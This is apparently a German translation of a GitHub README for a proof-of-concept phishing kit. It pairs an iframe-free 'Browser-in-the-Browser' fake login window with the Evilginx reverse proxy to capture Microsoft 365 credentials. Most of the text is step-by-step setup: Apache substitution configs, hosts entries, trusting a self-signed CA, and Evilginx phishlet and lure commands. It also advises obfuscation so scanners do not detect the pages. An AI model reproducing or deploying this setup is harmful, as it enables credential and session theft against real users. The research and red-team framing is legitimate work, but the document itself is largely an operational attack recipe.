
Ein neuer Ansatz für Browser In The Browser (BITB) ohne die Verwendung von Iframes, der die Umgehung traditioneller Framebuster ermöglicht, die von Anmeldeseiten wie Microsoft implementiert werden, sowie die Nutzung mit Evilginx.
Ein neuer Ansatz für Browser im Browser (BITB) ohne die Verwendung von Iframes, der die Umgehung traditioneller Framebuster ermöglicht, wie sie von Anmeldeseiten wie Microsoft implementiert werden.
Dieser POC-Code wurde für die Verwendung dieses neuen BITB mit Evilginx und einem Microsoft Enterprise Phishlet entwickelt.

Bevor Sie sich intensiv damit befassen, empfehle ich Ihnen, sich zuerst meinen Vortrag auf der BSides 2023 anzusehen, in dem ich dieses Konzept zusammen mit wichtigen Details zur Erstellung des 'perfekten' Phishing-Angriffs vorgestellt habe. ▶ Video ansehen
Dieses Tool dient ausschließlich zu Bildungs- und Forschungszwecken. Es demonstriert eine nicht auf Iframes basierende Browser-Im-Browser-Methode (BITB). Der Autor ist nicht für jeglichen Missbrauch verantwortlich. Verwenden Sie dieses Tool nur legal und ethisch, in kontrollierten Umgebungen für Sicherheitstests der Cybersicherheit. Durch die Nutzung dieses Tools stimmen Sie zu, dies verantwortungsbewusst und auf eigenes Risiko zu tun.
Im letzten Jahr habe ich mit verschiedenen Tricks experimentiert, um den 'perfekten' Phishing-Angriff zu entwickeln. Die typischen 'Warnsignale', auf die Menschen trainiert sind, sind Dringlichkeit, Drohungen, Autorität, schlechte Grammatik usw. Das nächste, worauf die Leute heutzutage achten, ist der Link/die URL der Website, mit der sie interagieren, und sie werden sehr vorsichtig, sobald sie aufgefordert werden, vertrauliche Anmeldeinformationen wie E-Mails und Passwörter einzugeben.
Hier kommt Browser im Browser (BITB) ins Spiel. Ursprünglich von @mrd0x eingeführt, ist BITB ein Konzept, bei dem der Anschein eines glaubwürdigen Browserfensters erzeugt wird, in dem der Angreifer den Inhalt kontrolliert (indem die bösartige Website in einem Iframe bereitgestellt wird). Die gefälschte URL-Leiste des gefälschten Browserfensters wird jedoch auf die legitime Website gesetzt, die der Benutzer erwarten würde. Dies kombiniert mit einem Tool wie Evilginx wird zum perfekten Rezept für einen glaubwürdigen Phishing-Angriff.
Das Problem ist, dass große Websites wie Microsoft in den letzten Monaten/Jahren verschiedene kleine Tricks namens 'Framebuster/Framekiller' implementiert haben, die hauptsächlich versuchen, Iframes zu unterbrechen, die möglicherweise verwendet werden, um die proxierte Website bereitzustellen, wie im Fall von Evilginx.
Kurz gesagt, Evilginx + BITB funktioniert für Websites wie Microsoft nicht mehr. Zumindest nicht mit einem BITB, das auf Iframes angewiesen ist.
Ein Browser im Browser (BITB) ohne Iframes! So einfach ist das. Das bedeutet, dass wir jetzt BITB mit Evilginx auf Websites wie Microsoft verwenden können. Evilginx ist hier nur ein starkes Beispiel, aber das gleiche Konzept kann auch für andere Anwendungsfälle verwendet werden.
Framebuster zielen speziell auf Iframes ab, daher besteht die Idee darin, den BITB-Effekt ohne Verwendung von Iframes zu erzeugen, ohne die ursprüngliche Struktur/den Inhalt der proxierten Seite zu stören. Dies kann erreicht werden, indem Skripte und HTML neben dem ursprünglichen Inhalt durch Suchen und Ersetzen (sogenannte Substitutionen) injiziert werden, und dann vollständig auf HTML/CSS/JS-Tricks angewiesen sind, um den visuellen Effekt zu erzielen. Wir verwenden auch einen zusätzlichen Trick namens 'Shadow DOM' in HTML, um den Inhalt der Landing Page (Hintergrund) so zu platzieren, dass er nicht mit dem proxierten Inhalt interferiert, sodass wir flexibel jede Landing Page mit geringfügigen zusätzlichen JS-Skripten verwenden können.
Erstellen Sie eine lokale Linux-VM. (Ich persönlich verwende Ubuntu 22 auf VMWare Player oder Parallels Desktop)
Systempakete aktualisieren und upgraden:
sudo apt update && sudo apt upgrade -y
Erstellen Sie einen neuen evilginx-Benutzer und fügen Sie den Benutzer zur sudo-Gruppe hinzu:
sudo su
adduser evilginx
usermod -aG sudo evilginx
Testen, ob der evilginx-Benutzer in der sudo-Gruppe ist:
su - evilginx
sudo ls -la /root
Navigieren Sie zum Home-Verzeichnis des Benutzers:
cd /home/evilginx
(Sie können alles auch als sudo-Benutzer erledigen, da wir alles lokal ausführen)
Evilginx herunterladen und bauen: Offizielle Dokumentation
Evilginx-Dateien nach /home/evilginx kopieren
Go installieren: Offizielle Dokumentation
wget https://go.dev/dl/go1.21.4.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.4.linux-amd64.tar.gz
nano ~/.profile
HINZUFÜGEN: export PATH=$PATH:/usr/local/go/bin
source ~/.profile
Überprüfen:
go version
make installieren:
sudo apt install make
Evilginx bauen:
cd /home/evilginx/evilginx2
make
Erstellen Sie ein neues Verzeichnis für unseren Evilginx-Build zusammen mit Phishlets und Redirectors:
mkdir /home/evilginx/evilginx
Build, Phishlets und Redirectors kopieren:
cp /home/evilginx/evilginx2/build/evilginx /home/evilginx/evilginx/evilginx
cp -r /home/evilginx/evilginx2/redirectors /home/evilginx/evilginx/redirectors
cp -r /home/evilginx/evilginx2/phishlets /home/evilginx/evilginx/phishlets
Schnellkorrektur für Ubuntu-Firewall (Danke an @kgretzky)
sudo setcap CAP_NET_BIND_SERVICE=+eip /home/evilginx/evilginx/evilginx
Unter Ubuntu, falls Sie den Fehler Failed to start nameserver on: :53 erhalten, versuchen Sie, diese Datei zu ändern
sudo nano /etc/systemd/resolved.conf
edit/add the DNSStubListener to no > DNSStubListener=no
then
sudo systemctl restart systemd-resolved
Da wir Apache2 vor Evilginx verwenden werden, müssen wir Evilginx an einem anderen Port als 443 lauschen lassen.
nano ~/.evilginx/config.json
Ändern Sie https_port von 443 auf 8443
Apache2 installieren:
sudo apt install apache2 -y
Apache2-Module aktivieren, die verwendet werden: (Wir deaktivieren auch das Modul access_compat, da es manchmal Probleme verursacht)
sudo a2enmod proxy
sudo a2enmod proxy_http
sudo a2enmod proxy_balancer
sudo a2enmod lbmethod_byrequests
sudo a2enmod env
sudo a2enmod include
sudo a2enmod setenvif
sudo a2enmod ssl
sudo a2ensite default-ssl
sudo a2enmod cache
sudo a2enmod substitute
sudo a2enmod headers
sudo a2enmod rewrite
sudo a2dismod access_compat
Apache starten und aktivieren:
sudo systemctl start apache2
sudo systemctl enable apache2
Testen Sie, ob Apache und die VM-Netzwerkverbindung funktionieren, indem Sie die IP der VM von einem Browser auf dem Host-Rechner aus aufrufen.
Installieren Sie git, falls nicht bereits verfügbar:
sudo apt -y install git
Klonen Sie dieses Repository:
git clone https://github.com/waelmas/frameless-bitb
cd frameless-bitb
Erstellen Sie Verzeichnisse für die Seiten, die wir bereitstellen werden:
sudo mkdir /var/www/home
sudo mkdir /var/www/primary
sudo mkdir /var/www/secondary
Kopieren Sie die Verzeichnisse für jede Seite:
sudo cp -r ./pages/home/ /var/www/
sudo cp -r ./pages/primary/ /var/www/
sudo cp -r ./pages/secondary/ /var/www/
Optional: Entfernen Sie die Standard-Apache-Seite (nicht verwendet):
sudo rm -r /var/www/html/
Kopieren Sie das O365-Phishlet in das Phishlets-Verzeichnis:
sudo cp ./O365.yaml /home/evilginx/evilginx/phishlets/O365.yaml
Optional: Um das Calendly-Widget so einzustellen, dass es Ihren Account anstelle des von mir standardmäßig verwendeten verwendet, gehen Sie zu pages/primary/script.js und ändern Sie CALENDLY_PAGE_NAME und CALENDLY_EVENT_TYPE.
Hinweis zur Demo-Verschleierung: Wie ich im Walkthrough-Video erkläre, habe ich eine minimale Verschleierung für Textinhalte wie URLs und Titel des BITB eingebaut. Sie können den Demo-Verschleierer öffnen, indem Sie demo-obfuscator.html in Ihrem Browser öffnen.
In einem realen Szenario würde ich dringend empfehlen, größere Teile des injizierten HTML-Codes zu verschleiern oder JS-Tricks zu verwenden, um nicht erkannt und markiert zu werden. Die erweiterte Version, an der ich arbeite, wird eine Kombination fortgeschrittener Tricks verwenden, um es Scannern nahezu unmöglich zu machen, den BITB-Code zu identifizieren/erkennen. Bleiben Sie also dran.
Da wir alles lokal ausführen, müssen wir selbstsignierte SSL-Zertifikate generieren, die von Apache verwendet werden. Evilginx benötigt die Zertifikate nicht, da wir es im Entwicklermodus ausführen werden.
Wir verwenden die Domain fake.com, die auf unsere lokale VM zeigt. Wenn Sie eine andere Domain verwenden möchten, stellen Sie sicher, dass Sie die Domain in allen Dateien (Apache-Konfigurationsdateien, JS-Dateien usw.) ändern.
Erstellen Sie das Verzeichnis und ggf. übergeordnete Verzeichnisse, falls sie nicht existieren:
sudo mkdir -p /etc/ssl/localcerts/fake.com/
Generieren Sie die SSL-Zertifikate mit der OpenSSL-Konfigurationsdatei:
sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \
-keyout /etc/ssl/localcerts/fake.com/privkey.pem -out /etc/ssl/localcerts/fake.com/fullchain.pem \
-config openssl-local.cnf
Berechtigungen des privaten Schlüssels ändern:
sudo chmod 600 /etc/ssl/localcerts/fake.com/privkey.pem
Kopieren Sie die benutzerdefinierten Substitutionsdateien (der Kern unseres Ansatzes):
sudo cp -r ./custom-subs /etc/apache2/custom-subs
Wichtiger Hinweis: In diesem Repository habe ich 2 Substitutionskonfigurationen für Chrome auf Mac und Chrome auf Windows BITB beigefügt. Beide verfügen über eine automatische Erkennung und Gestaltung für den Hell-/Dunkelmodus und sollten als Basisvorlagen dienen, um dasselbe für andere Browser/OS-Kombinationen zu erreichen. Da ich keine automatische Erkennung der Browser/OS-Kombination, die zum Besuch unserer Phishing-Seite verwendet wird, beigefügt habe, müssen Sie eine der beiden verwenden oder Ihre eigene Logik für das automatische Umschalten implementieren.
Beide Konfigurationsdateien unter /apache-configs/ sind gleich, nur mit einer anderen Include-Direktive für die Substitutionsdatei, die eingefügt wird. (Es gibt 2 Referenzen für jede Datei)
# Uncomment the one you want and remember to restart Apache after any changes:
#Include /etc/apache2/custom-subs/win-chrome.conf
Include /etc/apache2/custom-subs/mac-chrome.conf
Um es einfacher zu machen, habe ich beide Versionen als separate Dateien für diesen nächsten Schritt beigefügt.
Windows/Chrome BITB:
sudo cp ./apache-configs/win-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Mac/Chrome BITB:
sudo cp ./apache-configs/mac-chrome-bitb.conf /etc/apache2/sites-enabled/000-default.conf
Testen Sie die Apache-Konfigurationen, um sicherzustellen, dass keine Fehler vorhanden sind:
sudo apache2ctl configtest
Apache neu starten, um die Änderungen zu übernehmen:
sudo systemctl restart apache2
Ermitteln Sie die IP der VM mit ifconfig und notieren Sie sie für den nächsten Schritt.
Wir müssen nun neue Einträge in unserer Hosts-Datei hinzufügen, um die in dieser Demo verwendete Domain fake.com und alle verwendeten Subdomains auf unsere VM zu verweisen, auf der Apache und Evilginx laufen.
Unter Windows:
Öffnen Sie Notepad als Administrator (Suchen > Notepad > Rechtsklick > Als Administrator ausführen)
Klicken Sie auf die Datei-Option (oben links) und fügen Sie in der Adressleiste des Datei-Explorers Folgendes ein:
C:\Windows\System32\drivers\etc\
Ändern Sie den Dateityp (unten rechts) auf "Alle Dateien".
Doppelklicken Sie auf die Datei mit dem Namen hosts
Unter Mac:
Öffnen Sie ein Terminal und führen Sie Folgendes aus:
sudo nano /private/etc/hosts
Ändern Sie nun die folgenden Einträge (ersetzen Sie [IP] durch die IP Ihrer VM) und fügen Sie die Einträge am Ende der Hosts-Datei ein:
# Local Apache and Evilginx Setup
[IP] login.fake.com
[IP] account.fake.com
[IP] sso.fake.com
[IP] www.fake.com
[IP] portal.fake.com
[IP] fake.com
# End of section
Speichern und schließen.
Starten Sie nun Ihren Browser neu, bevor Sie zum nächsten Schritt übergehen.
Hinweis: Unter Mac verwenden Sie den folgenden Befehl, um den DNS-Cache zu leeren:
sudo dscacheutil -flushcache; sudo killall -HUP mDNSResponder
Diese Demo wurde mit dem bereitgestellten Office 365 Enterprise Phishlet erstellt. Um die Host-Einträge zu erhalten, die Sie für ein anderes Phishlet hinzufügen müssen, verwenden Sie phishlet get-hosts [PHISHLET_NAME], denken Sie aber daran, 127.0.0.1 durch die tatsächliche lokale IP Ihrer VM zu ersetzen.
Da wir selbstsignierte SSL-Zertifikate verwenden, wird unser Browser jedes Mal warnen, wenn wir versuchen, fake.com zu besuchen. Daher müssen wir unsere Host-Maschine die Zertifizierungsstelle vertrauen lassen, die die SSL-Zertifikate signiert hat.
Für diesen Schritt ist es einfacher, den Videoanweisungen zu folgen, aber hier ist trotzdem die Zusammenfassung.
Öffnen Sie https://fake.com/ in Ihrem Chrome-Browser.
Ignorieren Sie die Warnung 'Unsichere Website' und fahren Sie mit der Seite fort.
Klicken Sie auf das SSL-Symbol > Details > Zertifikat exportieren WICHTIG: Beim Speichern muss der Name mit .crt enden, damit Windows es korrekt öffnen kann.
Doppelklicken Sie darauf > Für aktuellen Benutzer installieren. Wählen Sie NICHT automatisch, sondern platzieren Sie das Zertifikat in einem bestimmten Speicher: Wählen Sie 'Vertrauenswürdige Stammzertifizierungsstellen'.
Unter Mac: Um nur für den aktuellen Benutzer zu installieren > wählen Sie 'Schlüsselbund: Anmeldung' UND klicken Sie auf 'Zertifikate anzeigen' > Details > Vertrauen > Immer vertrauen
Starten Sie jetzt Ihren Browser NEU
Sie sollten jetzt https://fake.com besuchen können und die Startseite ohne SSL-Warnungen sehen.
An diesem Punkt sollte alles bereit sein, sodass wir fortfahren und Evilginx starten, das Phishlet einrichten, unseren Köder erstellen und testen können.
Optional: tmux installieren (damit Evilginx auch nach Schließen der Terminalsitzung weiterläuft. Hauptsächlich nützlich bei Ausführung auf einer entfernten VM.)
sudo apt install tmux -y
Evilginx im Entwicklermodus starten (mit tmux, um die Sitzung nicht zu verlieren):
tmux new-session -s evilginx
cd ~/evilginx/
./evilginx -developer
(Um sich wieder mit der tmux-Sitzung zu verbinden, verwenden Sie tmux attach-session -t evilginx)
Evilginx-Konfiguration:
config domain fake.com
config ipv4 127.0.0.1
WICHTIG: Setzen Sie den Evilginx-Blacklist-Modus auf NoAdd, um zu vermeiden, dass Apache auf die Blacklist gesetzt wird, da alle Anfragen von Apache und nicht von der tatsächlichen Besucher-IP kommen.
blacklist noadd
Phishlet und Köder einrichten:
phishlets hostname O365 fake.com
phishlets enable O365
lures create O365
lures get-url 0
Kopieren Sie die Köder-URL und besuchen Sie sie von Ihrem Browser aus (verwenden Sie den Gastbenutzer in Chrome, um zu vermeiden, dass alle gespeicherten/zwischengespeicherten Daten zwischen Tests gelöscht werden müssen).
Ursprüngliches iframe-basiertes BITB von @mrd0x: https://github.com/mrd0x/BITB
Evilginx Mastery-Kurs vom Ersteller von Evilginx @kgretzky: https://academy.breakdev.org/evilginx-mastery
Mein Vortrag auf der BSides 2023: https://www.youtube.com/watch?v=p1opa2wnRvg
So schützen Sie Evilginx mit Cloudflare und HTML-Verschleierung: https://www.jackphilipbutton.com/post/how-to-protect-evilginx-using-cloudflare-and-html-obfuscation
Evilginx-Ressourcen für Microsoft 365 von @BakkerJan: https://janbakker.tech/evilginx-resources-for-microsoft-365/